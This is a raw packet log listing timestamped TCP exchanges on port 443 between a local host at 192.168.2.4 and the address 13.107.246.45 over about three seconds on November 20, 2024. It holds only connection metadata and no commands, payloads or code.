Nov 20, 2024 04:08:02.213257074 CET	62384	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:02.213319063 CET	443	62384	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:02.222995996 CET	62384	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:02.223051071 CET	443	62384	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:02.223300934 CET	62382	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:02.223385096 CET	443	62382	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:02.226221085 CET	62383	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:02.229382992 CET	62382	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:02.229458094 CET	443	62382	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:02.229732990 CET	62381	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:02.229785919 CET	443	62381	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:02.230581045 CET	62381	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:02.230634928 CET	443	62381	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:02.230732918 CET	62383	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:02.230747938 CET	443	62383	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:02.231216908 CET	62383	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:02.231228113 CET	443	62383	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:02.275579929 CET	443	62385	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:02.314831018 CET	62385	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:02.314856052 CET	443	62385	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:02.315200090 CET	62385	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:02.315205097 CET	443	62385	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:02.319128990 CET	443	62384	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:02.319283009 CET	443	62384	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:02.319385052 CET	62384	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:02.319386005 CET	62384	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:02.319386005 CET	62384	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:02.325400114 CET	443	62382	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:02.325468063 CET	443	62382	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:02.325658083 CET	62382	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:02.325790882 CET	443	62383	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:02.325876951 CET	443	62383	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:02.326070070 CET	62383	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:02.328515053 CET	443	62381	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:02.328675985 CET	443	62381	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:02.328741074 CET	62381	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:02.332370043 CET	62382	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:02.332370043 CET	62382	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:02.332412004 CET	62381	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:02.332412004 CET	62381	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:02.332439899 CET	443	62382	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:02.332474947 CET	443	62382	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:02.332480907 CET	443	62381	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:02.332515955 CET	443	62381	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:02.363030910 CET	62383	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:02.363030910 CET	62383	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:02.363099098 CET	443	62383	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:02.363135099 CET	443	62383	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:02.365885973 CET	62386	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:02.365977049 CET	443	62386	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:02.366064072 CET	62386	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:02.378832102 CET	62387	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:02.378876925 CET	443	62387	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:02.378928900 CET	62387	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:02.380350113 CET	62386	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:02.380397081 CET	443	62386	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:02.380793095 CET	62387	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:02.380809069 CET	443	62387	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:02.382095098 CET	62388	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:02.382181883 CET	443	62388	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:02.382278919 CET	62388	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:02.382386923 CET	62388	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:02.382426023 CET	443	62388	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:02.385313034 CET	62389	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:02.385399103 CET	443	62389	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:02.385467052 CET	62389	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:02.385658979 CET	62389	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:02.385704041 CET	443	62389	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:02.410727978 CET	443	62385	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:02.410789967 CET	443	62385	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:02.410841942 CET	62385	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:02.410926104 CET	62385	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:02.410936117 CET	443	62385	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:02.410960913 CET	62385	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:02.410965919 CET	443	62385	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:02.414133072 CET	62390	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:02.414239883 CET	443	62390	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:02.414323092 CET	62390	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:02.417308092 CET	62390	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:02.417390108 CET	443	62390	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:02.632503986 CET	62384	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:02.632570028 CET	443	62384	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:03.024018049 CET	443	62389	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:03.026686907 CET	443	62387	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:03.032427073 CET	443	62386	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:03.033287048 CET	443	62388	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:03.048243999 CET	62388	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:03.048279047 CET	443	62388	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:03.048979044 CET	62388	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:03.048988104 CET	443	62388	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:03.049499989 CET	62389	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:03.049566031 CET	443	62389	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:03.050060034 CET	62389	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:03.050082922 CET	443	62389	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:03.050456047 CET	62387	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:03.050478935 CET	443	62387	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:03.050980091 CET	62387	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:03.050985098 CET	443	62387	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:03.051565886 CET	62386	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:03.051628113 CET	443	62386	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:03.051956892 CET	62386	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:03.051970959 CET	443	62386	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:03.094477892 CET	443	62390	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:03.095272064 CET	62390	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:03.095293999 CET	443	62390	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:03.095591068 CET	62390	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:03.095597029 CET	443	62390	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:03.145441055 CET	443	62389	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:03.145519018 CET	443	62389	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:03.145601988 CET	62389	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:03.145781040 CET	62389	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:03.145822048 CET	443	62389	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:03.145853043 CET	62389	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:03.145867109 CET	443	62389	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:03.146009922 CET	443	62388	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:03.146087885 CET	443	62388	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:03.146138906 CET	62388	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:03.146991014 CET	62388	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:03.147008896 CET	443	62388	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:03.147033930 CET	62388	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:03.147042036 CET	443	62388	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:03.147422075 CET	443	62387	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:03.147567987 CET	443	62387	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:03.147636890 CET	62387	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:03.148444891 CET	62387	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:03.148454905 CET	443	62387	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:03.148466110 CET	62387	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:03.148471117 CET	443	62387	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:03.149652004 CET	443	62386	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:03.149810076 CET	443	62386	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:03.149882078 CET	62386	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:03.151158094 CET	62391	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:03.151204109 CET	443	62391	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:03.151298046 CET	62391	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:03.151760101 CET	62386	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:03.151798010 CET	443	62386	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:03.151825905 CET	62386	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:03.151839972 CET	443	62386	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:03.152004957 CET	62391	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:03.152050972 CET	443	62391	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:03.153587103 CET	62392	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:03.153675079 CET	443	62392	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:03.153769016 CET	62392	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:03.153932095 CET	62392	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:03.153969049 CET	443	62392	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:03.154165030 CET	62393	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:03.154190063 CET	443	62393	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:03.154246092 CET	62393	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:03.154588938 CET	62393	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:03.154601097 CET	443	62393	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:03.155879974 CET	62394	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:03.155903101 CET	443	62394	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:03.155992031 CET	62394	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:03.156168938 CET	62394	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:03.156196117 CET	443	62394	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:03.202974081 CET	443	62390	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:03.203037024 CET	443	62390	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:03.203140974 CET	62390	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:03.203341007 CET	62390	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:03.203346968 CET	443	62390	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:03.203404903 CET	62390	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:03.203413010 CET	443	62390	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:03.205681086 CET	62395	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:03.205698013 CET	443	62395	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:03.206118107 CET	62395	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:03.206258059 CET	62395	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:03.206271887 CET	443	62395	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:03.801901102 CET	443	62391	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:03.802458048 CET	62391	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:03.802490950 CET	443	62391	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:03.803188086 CET	62391	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:03.803195000 CET	443	62391	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:03.805692911 CET	443	62394	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:03.806436062 CET	62394	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:03.806473017 CET	443	62394	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:03.806814909 CET	62394	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:03.806828022 CET	443	62394	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:03.819849014 CET	443	62393	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:03.820265055 CET	62393	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:03.820276022 CET	443	62393	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:03.820631981 CET	62393	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:03.820636988 CET	443	62393	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:03.833755016 CET	443	62392	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:03.834228039 CET	62392	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:03.834243059 CET	443	62392	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:03.834604025 CET	62392	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:03.834614992 CET	443	62392	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:03.860971928 CET	443	62395	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:03.862713099 CET	62395	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:03.862723112 CET	443	62395	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:03.863259077 CET	62395	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:03.863264084 CET	443	62395	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:03.902679920 CET	443	62391	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:03.902790070 CET	443	62391	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:03.902914047 CET	62391	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:03.903162003 CET	62391	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:03.903183937 CET	443	62391	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:03.903199911 CET	62391	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:03.903207064 CET	443	62391	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:03.905997038 CET	62396	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:03.906054974 CET	443	62396	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:03.906160116 CET	62396	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:03.906263113 CET	62396	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:03.906280041 CET	443	62396	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:03.907174110 CET	443	62394	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:03.907238007 CET	443	62394	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:03.907330990 CET	62394	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:03.907468081 CET	62394	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:03.907497883 CET	443	62394	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:03.907525063 CET	62394	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:03.907540083 CET	443	62394	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:03.909514904 CET	62397	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:03.909601927 CET	443	62397	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:03.909703970 CET	62397	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:03.909810066 CET	62397	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:03.909845114 CET	443	62397	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:03.966057062 CET	443	62395	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:03.966120958 CET	443	62395	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:03.966320038 CET	62395	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:03.966362953 CET	62395	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:03.966372967 CET	443	62395	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:03.966387033 CET	62395	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:03.966392994 CET	443	62395	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:03.968818903 CET	62398	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:03.968868971 CET	443	62398	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:03.969049931 CET	62398	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:03.969235897 CET	62398	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:03.969250917 CET	443	62398	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:03.990727901 CET	443	62393	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:03.990798950 CET	443	62393	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:03.990947008 CET	62393	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:03.990984917 CET	62393	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:03.990992069 CET	443	62393	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:03.991018057 CET	62393	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:03.991023064 CET	443	62393	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:03.993803978 CET	62399	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:03.993840933 CET	443	62399	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:03.994024038 CET	62399	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:03.994189978 CET	62399	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:03.994215012 CET	443	62399	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:03.995537996 CET	443	62392	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:03.995695114 CET	443	62392	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:03.995774984 CET	62392	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:03.995847940 CET	62392	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:03.995847940 CET	62392	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:03.995889902 CET	443	62392	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:03.995917082 CET	443	62392	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:03.998003960 CET	62400	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:03.998023987 CET	443	62400	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:03.998121023 CET	62400	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:03.998240948 CET	62400	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:03.998265982 CET	443	62400	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:04.546612024 CET	443	62396	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:04.547765970 CET	62396	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:04.547816038 CET	443	62396	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:04.548336029 CET	62396	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:04.548342943 CET	443	62396	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:04.571599960 CET	443	62397	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:04.572009087 CET	62397	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:04.572068930 CET	443	62397	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:04.572441101 CET	62397	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:04.572453976 CET	443	62397	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:04.610694885 CET	443	62398	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:04.628623962 CET	443	62399	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:04.645025015 CET	443	62396	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:04.645174980 CET	443	62396	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:04.645370960 CET	62396	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:04.663758993 CET	62398	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:04.667532921 CET	443	62400	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:04.679392099 CET	62399	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:04.683233976 CET	443	62397	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:04.683305025 CET	443	62397	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:04.683373928 CET	62397	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:04.708354950 CET	62398	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:04.708401918 CET	443	62398	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:04.708946943 CET	62398	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:04.708964109 CET	443	62398	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:04.709332943 CET	62400	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:04.709352970 CET	443	62400	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:04.709862947 CET	62400	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:04.709876060 CET	443	62400	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:04.724014044 CET	62397	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:04.724055052 CET	443	62397	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:04.724235058 CET	62397	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:04.724251032 CET	443	62397	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:04.735074043 CET	62399	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:04.735085011 CET	443	62399	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:04.735629082 CET	62399	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:04.735640049 CET	443	62399	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:04.735825062 CET	62396	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:04.735877037 CET	443	62396	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:04.735920906 CET	62396	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:04.735934019 CET	443	62396	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:04.740089893 CET	62401	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:04.740139008 CET	443	62401	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:04.740231037 CET	62401	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:04.740396023 CET	62401	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:04.740412951 CET	443	62401	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:04.740792990 CET	62402	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:04.740840912 CET	443	62402	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:04.740916014 CET	62402	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:04.741029978 CET	62402	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:04.741055965 CET	443	62402	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:04.804908991 CET	443	62398	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:04.804979086 CET	443	62398	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:04.805177927 CET	62398	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:04.815274954 CET	443	62400	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:04.815445900 CET	443	62400	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:04.815623045 CET	62400	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:04.839744091 CET	443	62399	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:04.839812994 CET	443	62399	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:04.839998007 CET	62399	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:04.901632071 CET	62398	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:04.901633024 CET	62398	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:04.901668072 CET	443	62398	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:04.901679993 CET	443	62398	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:04.916204929 CET	62400	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:04.916204929 CET	62400	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:04.916241884 CET	443	62400	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:04.916270018 CET	443	62400	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:04.931355000 CET	62399	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:04.931394100 CET	443	62399	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:04.931427002 CET	62399	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:04.931443930 CET	443	62399	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:05.027578115 CET	62403	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:05.027628899 CET	443	62403	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:05.027735949 CET	62403	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:05.034523964 CET	62403	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:05.034560919 CET	443	62403	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:05.037034988 CET	62404	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:05.037064075 CET	443	62404	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:05.037147999 CET	62404	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:05.037267923 CET	62404	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:05.037278891 CET	443	62404	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:05.049861908 CET	62405	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:05.049937010 CET	443	62405	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:05.050048113 CET	62405	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:05.149149895 CET	62405	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:05.149209023 CET	443	62405	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:05.376292944 CET	443	62402	13.107.246.45	192.168.2.4
